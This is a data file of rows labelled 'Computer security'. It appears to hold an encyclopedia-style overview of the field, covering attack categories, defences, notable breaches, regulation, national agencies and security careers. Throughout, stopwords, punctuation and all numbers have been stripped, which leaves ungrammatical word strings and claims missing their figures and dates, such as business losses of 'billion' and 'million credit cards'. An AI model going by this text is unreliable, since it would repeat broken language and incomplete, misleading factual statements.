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Computer security | collecting intelligence includes exploiting security flaws extract information offensive action.correcting security flaws makes flaws unavailable nsa exploitation.the agency analyzes commonly used software order find security flaws reserves offensive purposes competitors united states.agency seldom takes defensive action reporting flaws software producers eliminate security flaws.the offensive strategy worked eventually nations including russia iran north korea china acquired offensive capability tend use united states.nsa contractors created sold clickandshoot attack tools u.s. agencies close allies eventually tools made way foreign adversaries.nsas hacking tools hacked used russia north korea. |
Computer security | nsas employees contractors recruited high salaries adversaries anxious compete cyberwarfare.for example united states israel began exploiting security flaws microsoft windows operating system attack damage equipment used iran refine nuclear materials.iran responded heavily investing cyberwarfare capability began using united states.vulnerabilities attacks vulnerability weakness design implementation operation internal control.vulnerabilities discovered documented common vulnerabilities exposures cve database.exploitable vulnerability one least one working attack exploit exists. |
Computer security | vulnerabilities researched reverseengineered hunted exploited using automated tools customized scripts.secure computer system important understand attacks made threats typically classified one categories backdoor backdoor computer system cryptosystem algorithm secret method bypassing normal authentication security controls.may exist many reasons including original design poor configuration.may added authorized party allow legitimate access attacker malicious reasons regardless motives existence create vulnerability.backdoors hard detect detection backdoors usually discovered someone access application source code intimate knowledge operating system computer. |
Computer security | denialofservice attack denial service attacks dos designed make machine network resource unavailable intended users.attackers deny service individual victims deliberately entering wrong password enough consecutive times cause victims account locked may overload capabilities machine network block users once.network attack single ip address blocked adding new firewall rule many forms distributed denial service ddos attacks possible attack comes large number points – defending much difficult.attacks originate zombie computers botnet range possible techniques including reflection amplification attacks innocent systems fooled sending traffic victim.directaccess attacks unauthorized user gaining physical access computer likely able directly copy data it. |
Computer security | may also compromise security making operating system modifications installing software worms keyloggers covert listening devices using wireless microphone.even system protected standard security measures may bypassed booting another operating system tool cdrom bootable media.disk encryption trusted platform module designed prevent attacks.eavesdropping eavesdropping act surreptitiously listening private computer conversation communication typically hosts network.instance programs carnivore narusinsight used fbi nsa eavesdrop systems internet service providers. |
Computer security | even machines operate closed system i.e.contact outside world eavesdropped upon via monitoring faint electromagnetic transmissions generated hardware tempest specification nsa referring attacks.multivector polymorphic attacks surfacing new class multivector polymorphic cyber threats combined several types attacks changed form avoid cybersecurity controls spread.phishing phishing attempt acquiring sensitive information usernames passwords credit card details directly users deceiving users.phishing typically carried email spoofing instant messaging often directs users enter details fake website whose look feel almost identical legitimate one. |
Computer security | fake website often asks personal information login details passwords.information used gain access individuals real account real website.preying victims trust phishing classified form social engineering.attackers using creative ways gain access real accounts.common scam attackers send fake electronic invoices individuals showing recently purchased music apps instructing click link purchases authorized. |
Computer security | privilege escalation privilege escalation describes situation attacker level restricted access able without authorization elevate privileges access level.example standard computer user may able exploit vulnerability system gain access restricted data even become root full unrestricted access system.reverse engineering reverse engineering process manmade object deconstructed reveal designs code architecture extract knowledge object similar scientific research difference scientific research natural phenomenon.sidechannel attack computational system affects environment form.effect environment includes wide range criteria range electromagnetic radiation residual effect ram cells consequent make cold boot attack possible hardware implementation faults allow access guessing values normally inaccessible. |
Computer security | sidechannel attack scenarios attacker would gather information system network guess internal state result access information assumed victim secure.social engineering social engineering context computer security aims convince user disclose secrets passwords card numbers etc.grant physical access example impersonating senior executive bank contractor customer.generally involves exploiting peoples trust relying cognitive biases.common scam involves emails sent accounting finance department personnel impersonating ceo urgently requesting action. |
Computer security | early fbi reported business email compromise bec scams cost us businesses billion two years.in may milwaukee bucks nba team victim type cyber scam perpetrator impersonating teams president peter feigin resulting handover teams employees w tax forms.spoofing spoofing act masquerading valid entity falsification data ip address username order gain access information resources one otherwise unauthorized obtain.several types spoofing includingemail spoofing attacker forges sending source address email.ip address spoofing attacker alters source ip address network packet hide identity impersonate another computing system.mac spoofing attacker modifies media access control mac address network interface controller obscure identity pose another.biometric spoofing attacker produces fake biometric sample pose another user.tampering tampering describes malicious modification alteration data.socalled evil maid attacks security services planting surveillance capability routers examples. |
Computer security | malware malicious software malware installed computer leak personal information give control system attacker delete data permanently.information security culture employee behavior big impact information security organizations.cultural concepts help different segments organization work effectively work effectiveness towards information security within organization.information security culture ...totality patterns behavior organization contributes protection information kinds.andersson reimers found employees often see part organizations information security effort often take actions impede organizational changes.indeed verizon data breach investigations report examined security breaches discovered cyber security incidents involved internal actors within company. |
Computer security | research shows information security culture needs improved continuously.″information security culture analysis change″ authors commented ″its neverending process cycle evaluation change maintenance.″ manage information security culture five steps taken preevaluation strategic planning operative planning implementation postevaluation.preevaluation identify awareness information security within employees analyze current security policies.strategic planning come better awareness program clear targets need set.assembling team skilled professionals helpful achieve it.operative planning good security culture established based internal communication managementbuyin security awareness training program.implementation four stages used implement information security culture.arecommitment managementcommunication organizational memberscourses organizational memberscommitment employeespostevaluation assess success planning implementation identify unresolved areas concern.systems risk growth number computer systems increasing reliance upon individuals businesses industries governments means increasing number systems risk. |
Computer security | financial systems computer systems financial regulators financial institutions like u.s. securities exchange commission swift investment banks commercial banks prominent hacking targets cybercriminals interested manipulating markets making illicit gains.websites apps accept store credit card numbers brokerage accounts bank account information also prominent hacking targets potential immediate financial gain transferring money making purchases selling information black market.instore payment systems atms also tampered order gather customer account data pins.utilities industrial equipment computers control functions many utilities including coordination telecommunications power grid nuclear power plants valve opening closing water gas networks.internet potential attack vector machines connected stuxnet worm demonstrated even equipment controlled computers connected internet vulnerable. |
Computer security | computer emergency readiness team division department homeland security investigated hacking incidents energy companies.aviation aviation industry reliant series complex systems could attacked.simple power outage one airport cause repercussions worldwide much system relies radio transmissions could disrupted controlling aircraft oceans especially dangerous radar surveillance extends miles offshore.also potential attack within aircraft.in europe paneuropean network service newpens us nextgen program air navigation service providers moving create dedicated networks.the consequences successful attack range loss confidentiality loss system integrity air traffic control outages loss aircraft even loss life.consumer devices desktop computers laptops commonly targeted gather passwords financial account information construct botnet attack another target. |
Computer security | smartphones tablet computers smart watches mobile devices quantified self devices like activity trackers sensors cameras microphones gps receivers compasses accelerometers could exploited may collect personal information including sensitive health information.wifi bluetooth cell phone networks devices could used attack vectors sensors might remotely activated successful breach.the increasing number home automation devices nest thermostat also potential targets.large corporations large corporations common targets.many cases attacks aimed financial gain identity theft involve data breaches.examples include loss millions clients credit card details home depot staples target corporation recent breach equifax.medical records targeted general identify theft health insurance fraud impersonating patients obtain prescription drugs recreational purposes resale. |
Computer security | although cyber threats continue increase organizations increase security training business .not attacks financially motivated however security firm hbgary federal suffered serious series attacks hacktivist group anonymous retaliation firms ceo claiming infiltrated group sony pictures hacked apparent dual motive embarrassing company data leaks crippling company wiping workstations servers.automobiles vehicles increasingly computerized engine timing cruise control antilock brakes seat belt tensioners door locks airbags advanced driverassistance systems many models.additionally connected cars may use wifi bluetooth communicate onboard consumer devices cell phone network.selfdriving cars expected even complex.systems carry security risk issues gained wide attention.simple examples risk include malicious compact disc used attack vector cars onboard microphones used eavesdropping. |
Computer security | however access gained cars internal controller area network danger much greater – widely publicized test hackers remotely carjacked vehicle miles away drove ditch.manufacturers reacting numerous ways tesla pushing security fixes air cars computer systems.area autonomous vehicles september united states department transportation announced initial safety standards called states come uniform policies.government government military computer systems commonly attacked activists foreign powers.local regional government infrastructure traffic light controls police intelligence agency communications personnel records student records financial systems also potential targets largely computerized.passports government id cards control access facilities use rfid vulnerable cloning. |
Computer security | internet things physical vulnerabilities internet things iot network physical objects devices vehicles buildings embedded electronics software sensors network connectivity enables collect exchange data.concerns raised developed without appropriate consideration security challenges involved.while iot creates opportunities direct integration physical world computerbased systemsit also provides opportunities misuse.particular internet things spreads widely cyberattacks likely become increasingly physical rather simply virtual threat.front doors lock connected internet lockedunlocked phone criminal could enter home press button stolen hacked phone.people could stand lose much credit card numbers world controlled iotenabled devices. |
Computer security | thieves also used electronic means circumvent noninternetconnected hotel door locks.an attack targets physical infrastructure andor human lives sometimes referred cyberkinetic attack.iot devices appliances gain currency cyberkinetic attacks become pervasive significantly damaging.medical systems medical devices either successfully attacked potentially deadly vulnerabilities demonstrated including inhospital diagnostic equipment implanted devices including pacemakers insulin pumps.many reports hospitals hospital organizations getting hacked including ransomware attacks windows xp exploits viruses data breaches sensitive data stored hospital servers.december us food drug administration released recommendations medical device manufacturers maintain security internetconnected devices – structure enforcement. |
Computer security | energy sector distributed generation systems risk cyber attack real according daily energy insider.attack could cause loss power large area long period time attack could severe consequences natural disaster.district columbia considering creating distributed energy resources der authority within city goal customers insight energy use giving local electric utility pepco chance better estimate energy demand.d.c. proposal however would allow thirdparty vendors create numerous points energy distribution could potentially create opportunities cyber attackers threaten electric grid.impact security breaches serious financial damage caused security breaches standard model estimating cost incident data available made public organizations involved. |
Computer security | several computer security consulting firms produce estimates total worldwide losses attributable virus worm attacks hostile digital acts general.loss estimates firms range billion worms viruses billion forms covert attacks.reliability estimates often challenged underlying methodology basically anecdotal.however reasonable estimates financial cost security breaches actually help organizations make rational investment decisions.according classic gordonloeb model analyzing optimal investment level information security one conclude amount firm spends protect information generally small fraction expected loss i.e.expected value loss resulting cyberinformation security breach. |
Computer security | attacker motivation physical security motivations breaches computer security vary attackers.thrillseekers vandals activists others criminals looking financial gain.statesponsored attackers common well resourced started amateurs markus hess hacked kgb recounted clifford stoll cuckoos egg.additionally recent attacker motivations traced back extremist organizations seeking gain political advantage disrupt social agendas.growth internet mobile technologies inexpensive computing devices led rise capabilities also risk environments deemed vital operations.critical targeted environments susceptible compromise led series proactive studies migrate risk taking consideration motivations types actors. |
Computer security | several stark differences exist hacker motivation nation state actors seeking attack based ideological preference.a standard part threat modeling particular system identify might motivate attack system might motivated breach it.level detail precautions vary depending system secured.home personal computer bank classified military network face different threats even underlying technologies use similar.computer protection countermeasures computer security countermeasure action device procedure technique reduces threat vulnerability attack eliminating preventing minimizing harm cause discovering reporting corrective action taken.some common countermeasures listed following sections security design security design alternately secure design means software designed ground secure.case security considered main feature.some techniques approach includethe principle least privilege part system privileges needed function. |
Computer security | way even attacker gains access part limited access whole system.automated theorem proving prove correctness crucial software subsystems.code reviews unit testing approaches make modules secure formal correctness proofs possible.defense depth design one subsystem needs violated compromise integrity system information holds.default secure settings design fail secure rather fail insecure see failsafe equivalent safety engineering.ideally secure system require deliberate conscious knowledgeable free decision part legitimate authorities order make insecure.audit trails tracking system activity security breach occurs mechanism extent breach determined.storing audit trails remotely appended keep intruders covering tracks.full disclosure vulnerabilities ensure window vulnerability kept short possible bugs discovered.security architecture open security architecture organization defines security architecture design artifacts describe security controls security countermeasures positioned relate overall information technology architecture.controls serve purpose maintain systems quality attributes confidentiality integrity availability accountability assurance services.techopedia defines security architecture unified security design addresses necessities potential risks involved certain scenario environment. |
Computer security | also specifies apply security controls.design process generally reproducible.key attributes security architecture arethe relationship different components depend other.determination controls based risk assessment good practices finances legal matters.the standardization controls.practicing security architecture provides right foundation systematically address business security concerns organization.security measures state computer security conceptual ideal attained use three processes threat prevention detection response.processes based various policies system components include followinguser account access controls cryptography protect systems files data respectively.firewalls far common prevention systems network security perspective properly configured shield access internal network services block certain kinds attacks packet filtering. |
Computer security | firewalls hardware softwarebased.intrusion detection system ids products designed detect network attacks inprogress assist postattack forensics audit trails logs serve similar function individual systems.response necessarily defined assessed security requirements individual system may cover range simple upgrade protections notification legal authorities counterattacks like.special cases complete destruction compromised system favored may happen compromised resources detected.today computer security consists mainly preventive measures like firewalls exit procedure.firewall defined way filtering network data host network another network internet implemented software running machine hooking network stack case unixbased operating systems linux built operating system kernel provide realtime filtering blocking.another implementation socalled physical firewall consists separate machine filtering network traffic.firewalls common amongst machines permanently connected internet.some organizations turning big data platforms apache hadoop extend data accessibility machine learning detect advanced persistent threats.however relatively organizations maintain computer systems effective detection systems fewer still organized response mechanisms place. |
Computer security | result reuters points companies first time report losing electronic theft data physical stealing assets.primary obstacle effective eradication cybercrime could traced excessive reliance firewalls automated detection systems.yet basic evidence gathering using packet capture appliances puts criminals behind bars.in order ensure adequate security confidentiality integrity availability network better known cia triad must protected considered foundation information security.achieve objectives administrative physical technical security measures employed.amount security afforded asset determined value known. |
Computer security | vulnerability management vulnerability management cycle identifying remediating mitigating vulnerabilities especially software firmware.vulnerability management integral computer security network security.vulnerabilities discovered vulnerability scanner analyzes computer system search known vulnerabilities open ports insecure software configuration susceptibility malware.order tools effective must kept date every new update vendors release.typically updates scan new vulnerabilities introduced recently.beyond vulnerability scanning many organizations contract outside security auditors run regular penetration tests systems identify vulnerabilities.sectors contractual requirement. |
Computer security | reducing vulnerabilities formal verification correctness computer systems possible yet common.operating systems formally verified include sel sysgos pikeos – make small percentage market.two factor authentication method mitigating unauthorized access system sensitive information.requires something know password pin something card dongle cellphone another piece hardware.increases security unauthorized person needs gain access.social engineering direct computer access physical attacks prevented noncomputer means difficult enforce relative sensitivity information.training often involved help mitigate risk even highly disciplined environments e.g. |
Computer security | military organizations social engineering attacks still difficult foresee prevent.inoculation derived inoculation theory seeks prevent social engineering fraudulent tricks traps instilling resistance persuasion attempts exposure similar related attempts.it possible reduce attackers chances keeping systems date security patches updates using security scanner andor hiring people expertise security though none guarantee prevention attack.effects data lossdamage reduced careful backing insurance.hardware protection mechanisms hardware may source insecurity microchip vulnerabilities maliciously introduced manufacturing process hardwarebased assisted computer security also offers alternative softwareonly computer security.using devices methods dongles trusted platform modules intrusionaware cases drive locks disabling usb ports mobileenabled access may considered secure due physical access sophisticated backdoor access required order compromised.covered detail below.usb dongles typically used software licensing schemes unlock software capabilities also seen way prevent unauthorized access computer devices software. |
Computer security | dongle key essentially creates secure encrypted tunnel software application key.principle encryption scheme dongle advanced encryption standard aes provides stronger measure security since harder hack replicate dongle simply copy native software another machine use it.another security application dongles use accessing webbased content cloud software virtual private networks vpns.addition usb dongle configured lock unlock computer.trusted platform modules tpms secure devices integrating cryptographic capabilities onto access devices use microprocessors socalled computersonachip.tpms used conjunction serverside software offer way detect authenticate hardware devices preventing unauthorized network data access.computer case intrusion detection refers device typically pushbutton switch detects computer case opened. |
Computer security | firmware bios programmed show alert operator computer booted next time.drive locks essentially software tools encrypt hard drives making inaccessible thieves.tools exist specifically encrypting external drives well.disabling usb ports security option preventing unauthorized malicious access otherwise secure computer.infected usb dongles connected network computer inside firewall considered magazine network world common hardware threat facing computer networks.disconnecting disabling peripheral devices like camera gps removable storage etc.use.mobileenabled access devices growing popularity due ubiquitous nature cell phones.builtin capabilities bluetooth newer bluetooth low energy le near field communication nfc nonios devices biometric validation thumb print readers well qr code reader software designed mobile devices offer new secure ways mobile phones connect access control systems. |
Computer security | control systems provide computer security also used controlling access secure buildings.secure operating systems one use term computer security refers technology used implement secure operating systems.united states department defense dod used orange book standards current international standard isoiec common criteria defines number progressively stringent evaluation assurance levels.many common operating systems meet eal standard methodically designed tested reviewed formal verification required highest levels means uncommon.example eal semiformally verified design tested system integrityb used airbus aand several military jets. |
Computer security | secure coding software engineering secure coding aims guard accidental introduction security vulnerabilities.also possible create software designed ground secure.systems secure design.beyond formal verification aims prove correctness algorithms underlying systemimportant cryptographic protocols example.capabilities access control lists within computer systems two main security models capable enforcing privilege separation access control lists acls rolebased access control rbac.an accesscontrol list acl respect computer file system list permissions associated object. |
Computer security | acl specifies users system processes granted access objects well operations allowed given objects.rolebased access control approach restricting system access authorized users used majority enterprises employees implement mandatory access control mac discretionary access control dac.a approach capabilitybased security mostly restricted research operating systems.capabilities however also implemented language level leading style programming essentially refinement standard objectoriented design.opensource project area e language.end user security training enduser widely recognized weakest link security chain estimated security incidents breaches involve kind human error.among commonly recorded forms errors misjudgment poor password management sending emails containing sensitive data attachments wrong recipient inability recognize misleading urls identify fake websites dangerous email attachments. |
Computer security | common mistake users make saving user idpassword browsers make easier log banking sites.gift attackers obtained access machine means.risk may mitigated use twofactor authentication.as human component cyber risk particularly relevant determining global cyber risk organization facing security awareness training levels provides formal compliance regulatory industry mandates considered essential reducing cyber risk protecting individuals companies great majority cyber threats.the focus enduser represents profound cultural change many security practitioners traditionally approached cybersecurity exclusively technical perspective moves along lines suggested major security centers develop culture cyber awareness within organization recognizing securityaware user provides important line defense cyber attacks.digital hygiene related enduser training digital hygiene cyber hygiene fundamental principle relating information security analogy personal hygiene shows equivalent establishing simple routine measures minimize risks cyber threats.assumption good cyber hygiene practices give networked users another layer protection reducing risk one vulnerable node used either mount attacks compromise another node network especially common cyberattacks. |
Computer security | cyber hygiene also mistaken proactive cyber defence military term.as opposed purely technologybased defense threats cyber hygiene mostly regards routine measures technically simple implement mostly dependent discipline education.thought abstract list tips measures demonstrated positive effect personal andor collective digital security.measures performed laypeople security experts.cyber hygiene relates personal hygiene computer viruses relate biological viruses pathogens.however term computer virus coined almost simultaneously creation first working computer viruses term cyber hygiene much later invention perhaps late internet pioneer vint cerf.since adopted congress senate united states fbi eu institutions heads state. |
Computer security | response breaches responding attempted security breaches often difficult variety reasons includingidentifying attackers difficult may operate proxies temporary anonymous dialup accounts wireless connections anonymizing procedures make backtracing difficult often located another jurisdiction.successfully breach security also often gained enough administrative access enable delete logs cover tracks.the sheer number attempted attacks often automated vulnerability scanners computer worms large organizations cannot spend time pursuing each.law enforcement officers often lack skills interest budget pursue attackers.addition identification attackers across network may require logs various points network many countries may difficult timeconsuming obtain.where attack succeeds breach occurs many jurisdictions place mandatory security breach notification laws.types security privacy incident response planning incident response organized approach addressing managing aftermath computer security incident compromise goal preventing breach thwarting cyberattack.incident identified managed time intrusion typically escalates damaging event data breach system failure. |
Computer security | intended outcome computer security incident response plan contain incident limit damage assist recovery business usual.responding compromises quickly mitigate exploited vulnerabilities restore services processes minimize losses.incident response planning allows organization establish series best practices stop intrusion causes damage.typical incident response plans contain set written instructions outline organizations response cyberattack.without documented plan place organization may successfully detect intrusion compromise stakeholders may understand roles processes procedures escalation slowing organizations response resolution.there four key components computer security incident response planpreparation preparing stakeholders procedures handling computer security incidents compromisesdetection analysis identifying investigating suspicious activity confirm security incident prioritizing response based impact coordinating notification incidentcontainment eradication recovery isolating affected systems prevent escalation limit impact pinpointing genesis incident removing malware affected systems bad actors environment restoring systems data threat longer remainspost incident activity post mortem analysis incident root cause organizations response intent improving incident response plan future response efforts.notable attacks breaches illustrative examples different types computer security breaches given below. |
Computer security | robert morris first computer worm computers connected internet mainframes minicomputers professional workstations.november many started slow running malicious code demanded processor time spread computers – first internet computer worm.software traced back yearold cornell university graduate student robert tappan morris said wanted count many machines connected internet.rome laboratory hundred intrusions made unidentified crackers rome laboratory us air forces main command research facility.using trojan horses hackers able obtain unrestricted access romes networking systems remove traces activities. |
Computer security | intruders able obtain classified files air tasking order systems data furthermore able penetrate connected networks national aeronautics space administrations goddard space flight center wrightpatterson air force base defense contractors private sector organizations posing trusted rome center user.tjx customer credit card details early american apparel home goods company tjx announced victim unauthorized computer systems intrusion hackers accessed system stored data credit card debit card check merchandise return transactions.stuxnet attack computer worm known stuxnet reportedly ruined almost onefifth irans nuclear centrifuges.disrupting industrial programmable logic controllers plcs targeted attack.generally believed launched israel united states disrupt iranians nuclear program – although neither publicly admitted this. |
Computer security | global surveillance disclosures early documents provided edward snowden published washington post guardian exposing massive scale nsa global surveillance.also indications nsa may inserted backdoor nist standard encryption.standard later withdrawn due widespread criticism.nsa additionally revealed tapped links googles data centers.target home depot breaches ukrainian hacker known rescator broke target corporation computers stealing roughly million credit cards home depot computers stealing million credit card numbers. |
Computer security | warnings delivered corporations ignored physical security breaches using self checkout machines believed played large role.malware utilized absolutely unsophisticated uninteresting says jim walter director threat intelligence operations security technology company mcafee – meaning heists could easily stopped existing antivirus software administrators responded warnings.size thefts resulted major attention state federal united states authorities investigation ongoing.office personnel management data breach april office personnel management discovered hacked year earlier data breach resulting theft approximately .million personnel records handled office. |
Computer security | office personnel management hack described federal officials among largest breaches government data history united states.data targeted breach included personally identifiable information social security numbers names dates places birth addresses fingerprints current former government employees well anyone undergone government background check.believed hack perpetrated chinese hackers.ashley madison breach july hacker group known impact team successfully breached extramarital relationship website ashley madison created avid life media.group claimed taken company data user data well. |
Computer security | breach impact team dumped emails companys ceo prove point threatened dump customer data unless website taken permanently.avid life media take site offline group released two compressed files one .gb second gb.second data dump avid life media ceo noel biderman resigned website remained functioning.colonial pipeline ransomware attack june cyber attack took largest fuel pipeline u.s. led shortages across east coast.legal issues global regulation international legal issues cyber attacks complicated nature. |
Computer security | global base common rules judge eventually punish cybercrimes cybercriminals security firms agencies locate cybercriminal behind creation particular piece malware form cyber attack often local authorities cannot take action due lack laws prosecute.proving attribution cybercrimes cyberattacks also major problem law enforcement agencies.computer viruses switch one country another one jurisdiction another – moving around world using fact dont capability globally police operations like this.internet someone given free plane tickets online criminals world.use techniques dynamic dns fast flux bullet proof servers add difficulty investigation enforcement. |
Computer security | role government role government make regulations force companies organizations protect systems infrastructure information cyberattacks also protect national infrastructure national powergrid.the governments regulatory role cyberspace complicated.cyberspace seen virtual space remain free government intervention seen many todays libertarian blockchain bitcoin discussions.many government officials experts think government crucial need improved regulation mainly due failure private sector solve efficiently cybersecurity problem.r. clarke said panel discussion rsa security conference san francisco believes industry responds threaten regulation.industry doesnt respond threat follow through.hand executives private sector agree improvements necessary think government intervention would affect ability innovate efficiently. |
Computer security | daniel r. mccarthy analyzed publicprivate partnership cybersecurity reflected role cybersecurity broader constitution political order.on may un security council held second ever informal meeting cybersecurity focus cyber challenges international peace.according un secretarygeneral antónio guterres new technologies often used violate rights.international actions many different teams organizations exist includingthe forum incident response security teams first global association csirts.uscert att apple cisco mcafee microsoft members international team.the council europe helps protect societies worldwide threat cybercrime convention cybercrime.the purpose messaging antiabuse working group maawg bring messaging industry together work collaboratively successfully address various forms messaging abuse spam viruses denialofservice attacks messaging exploitations.france telecom facebook att apple cisco sprint members maawg.enisa european network information security agency enisa agency european union objective improve network information security european union. |
Computer security | europe april european parliament council european union adopted general data protection regulation gdpr eu .gdpr became enforceable beginning may provides data protection privacy individuals within european union eu european economic area eea.gdpr requires business processes handle personal data built data protection design default.gdpr also requires certain organizations appoint data protection officer dpo.national actions computer emergency response teams countries computer emergency response team protect network security. |
Computer security | canada since canada cybersecurity strategy.functions counterpart document national strategy action plan critical infrastructure.strategy three main pillars securing government systems securing vital private cyber systems helping canadians secure online.also cyber incident management framework provide coordinated response event cyber incident.the canadian cyber incident response centre ccirc responsible mitigating responding threats canadas critical infrastructure cyber systems.provides support mitigate cyber threats technical support respond recover targeted cyber attacks provides online tools members canadas critical infrastructure sectors. |
Computer security | posts regular cybersecurity bulletins operates online reporting tool individuals organizations report cyber incident.to inform general public protect online public safety canada partnered stop.think.connect coalition nonprofit private sector government organizations launched cyber security cooperation program.also run getcybersafe portal canadian citizens cyber security awareness month october.public safety canada aims begin evaluation canadas cybersecurity strategy early .china chinas central leading group internet security informatization chinese 中央网络安全和信息化领导小组 established february .leading small group lsg chinese communist party headed general secretary xi jinping staffed relevant party state decisionmakers.lsg created overcome incoherent policies overlapping responsibilities characterized chinas former cyberspace decisionmaking mechanisms. |
Computer security | lsg oversees policymaking economic political cultural social military fields relate network security strategy.lsg also coordinates major policy initiatives international arena promote norms standards favored chinese government emphasizes principle national sovereignty cyberspace.germany berlin starts national cyber defense initiative june german minister home affairs officially opened new german ncaz national center cyber defense nationales cyberabwehrzentrum located bonn.ncaz closely cooperates bsi federal office information security bundesamt für sicherheit der informationstechnik bka federal police organisation bundeskriminalamt deutschland bnd federal intelligence service bundesnachrichtendienst mad military intelligence service amt für den militärischen abschirmdienst national organizations germany taking care national security aspects.according minister primary task new organization founded february detect prevent attacks national infrastructure mentioned incidents like stuxnet. |
Computer security | germany also established largest research institution security europe center research security privacy crisp darmstadt.india provisions cybersecurity incorporated rules framed information technology act .the national cyber security policy policy framework ministry electronics information technology meity aims protect public private infrastructure cyberattacks safeguard information personal information web users financial banking information sovereign data.cert nodal agency monitors cyber threats country.post national cyber security coordinator also created prime ministers office pmo.the indian companies act also introduced cyber law cybersecurity obligations part indian directors.provisions cybersecurity incorporated rules framed information technology act update . |
Computer security | south korea following cyber attacks first half government news media television station bank websites compromised national government committed training new cybersecurity experts .south korean government blamed northern counterpart attacks well incidents occurred pyongyang denies accusations.united states legislation u.s.c.§ computer fraud abuse act key legislation.prohibits unauthorized access damage protected computers defined u.s.c. |
Computer security | § e. although various measures proposed – none succeeded.in executive order improving critical infrastructure cybersecurity signed prompted creation nist cybersecurity framework.in response colonial pipeline ransomware attack president joe biden signed executive order may increase software security standards sales government tighten detection security existing systems improve information sharing training establish cyber safety review board improve incident response.standardized government testing services general services administration gsa standardized penetration test service prevetted support service rapidly address potential vulnerabilities stop adversaries impact us federal state local governments.services commonly referred highly adaptive cybersecurity services hacs.agencies department homeland security dedicated division responsible response system risk management program requirements cybersecurity united states called national cyber security division.division home uscert operations national cyber alert system. |
Computer security | national cybersecurity communications integration center brings together government organizations responsible protecting computer networks networked infrastructure.the third priority federal bureau investigation fbi protect united states cyberbased attacks hightechnology crimes along national white collar crime center nwc bureau justice assistance bja part multiagency task force internet crime complaint center also known ic.in addition specific duties fbi participates alongside nonprofit organizations infragard.the computer crime intellectual property section ccips operates united states department justice criminal division.ccips charge investigating computer crime intellectual property crime specialized search seizure digital evidence computers networks.ccips published framework vulnerability disclosure program online systems help organizations clearly describe authorized vulnerability disclosure discovery conduct thereby substantially reducing likelihood described activities result civil criminal violation law computer fraud abuse act u.s.c.§ .the united states cyber command also known uscybercom mission direct synchronize coordinate cyberspace planning operations defend advance national interests collaboration domestic international partners.role protection civilian networks.the u.s. federal communications commissions role cybersecurity strengthen protection critical communications infrastructure assist maintaining reliability networks disasters aid swift recovery ensure first responders access effective communications services.the food drug administration issued guidance medical devices national highway traffic safety administration concerned automotive cybersecurity. |
Computer security | criticized government accountability office following successful attacks airports claimed attacks airplanes federal aviation administration devoted funding securing systems board planes private manufacturers aircraft communications addressing reporting system.concerns also raised future next generation air transportation system.computer emergency readiness team computer emergency response team name given expert groups handle computer security incidents.us two distinct organization exist although work closely together.uscert part national cyber security division united states department homeland security.certcc created defense advanced research projects agency darpa run software engineering institute sei.modern warfare growing concern cyberspace become next theater warfare. |
Computer security | mark clayton christian science monitor wrote article titled new cyber arms racein future wars fought soldiers guns planes drop bombs.also fought click mouse half world away unleashes carefully weaponized computer programs disrupt destroy critical industries like utilities transportation communications energy.attacks could also disable military networks control movement troops path jet fighters command control warships.this led new terms cyberwarfare cyberterrorism.united states cyber command created many countries similar forces.there critical voices question whether cybersecurity significant threat made be.careers cybersecurity fastgrowing field concerned reducing organizations risk hack data breach. |
Computer security | according research enterprise strategy group organizations say problematic shortage cybersecurity skills .commercial government nongovernmental organizations employ cybersecurity professionals.fastest increases demand cybersecurity workers industries managing increasing volumes consumer data finance health care retail.however use term cybersecurity prevalent government job descriptions.typical cybersecurity job titles descriptions include security analyst analyzes assesses vulnerabilities infrastructure software hardware networks investigates using available tools countermeasures remedy detected vulnerabilities recommends solutions best practices.analyzes assesses damage datainfrastructure result security incidents examines available recovery tools processes recommends solutions. |
Computer security | tests compliance security policies procedures.may assist creation implementation management security solutions.security engineer performs security monitoring security datalogs analysis forensic analysis detect security incidents mounts incident response.investigates utilizes new technologies processes enhance security capabilities implement improvements.may also review code perform security engineering methodologies. |
Computer security | security architect designs security system major components security system may head security design team building new security system.security administrator installs manages organizationwide security systems.position may also include taking tasks security analyst smaller organizations.chief information security officer ciso highlevel management position responsible entire information security divisionstaff.position may include handson technical work. |
Computer security | chief security officer cso highlevel management position responsible entire security divisionstaff.newer position deemed needed security risks grow.data protection officer dpo dpo tasked monitoring compliance uk gdpr data protection laws data protection policies awarenessraising training audits.security consultantspecialistintelligence broad titles encompass one roles titles tasked protecting computers networks software data information systems viruses worms spyware malware intrusion detection unauthorized access denialofservice attacks everincreasing list attacks hackers acting individuals part organized crime foreign governments.student programs also available people interested beginning career cybersecurity.meanwhile flexible effective option information security professionals experience levels keep studying online security training including webcasts. |
Computer security | wide range certified courses also available.in united kingdom nationwide set cybersecurity forums known u.k cyber security forum established supported governments cybersecurity strategy order encourage startups innovation address skills gap identified u.k government.in singapore cyber security agency issued singapore operational technology ot cybersecurity competency framework otccf.framework defines emerging cybersecurity roles operational technology.otccf endorsed infocomm media development authority imda.outlines different ot cybersecurity job positions well technical skills core competencies necessary.also depicts many career paths available including vertical lateral advancement opportunities. |
Computer security | terminology following terms used regards computer security explained belowaccess authorization restricts access computer group users use authentication systems.systems protect either whole computer interactive login screen individual services ftp server.many methods identifying authenticating users passwords identification cards smart cards biometric systems.antivirus software consists computer programs attempt identify thwart eliminate computer viruses malicious software malware.applications executable code general practice disallow users power install install known reputable – reduce attack surface installing possible.typically run least privilege robust process place identify test install released security patches updates them.authentication techniques used ensure communication endpoints say are.automated theorem proving verification tools used enable critical algorithms code used secure systems mathematically proven meet specifications.backups one copies kept important computer files.typically multiple copies kept different locations copy stolen damaged copies still exist.capability access control list techniques used ensure privilege separation mandatory access control. |
Computer security | capabilities vs. acls discusses use.chain trust techniques used attempt ensure software loaded certified authentic systems designers.confidentiality nondisclosure information except another authorized person.cryptographic techniques used defend data transit systems reducing probability data exchange systems intercepted modified.cyberwarfare internetbased conflict involves politically motivated attacks information information systems.attacks example disable official websites networks disrupt disable essential services steal alter classified data cripple financial systems.data integrity accuracy consistency stored data indicated absence alteration data two updates data record.encryption used protect confidentiality message.cryptographically secure ciphers designed make practical attempt breaking infeasible.symmetrickey ciphers suitable bulk encryption using shared keys publickey encryption using digital certificates provide practical solution problem securely communicating key shared advance.endpoint security software aids networks preventing malware infection data theft network entry points made vulnerable prevalence potentially infected devices laptops mobile devices usb drives.firewalls serve gatekeeper system networks allowing traffic matches defined rules.often include detailed logging may include intrusion detection intrusion prevention features. |
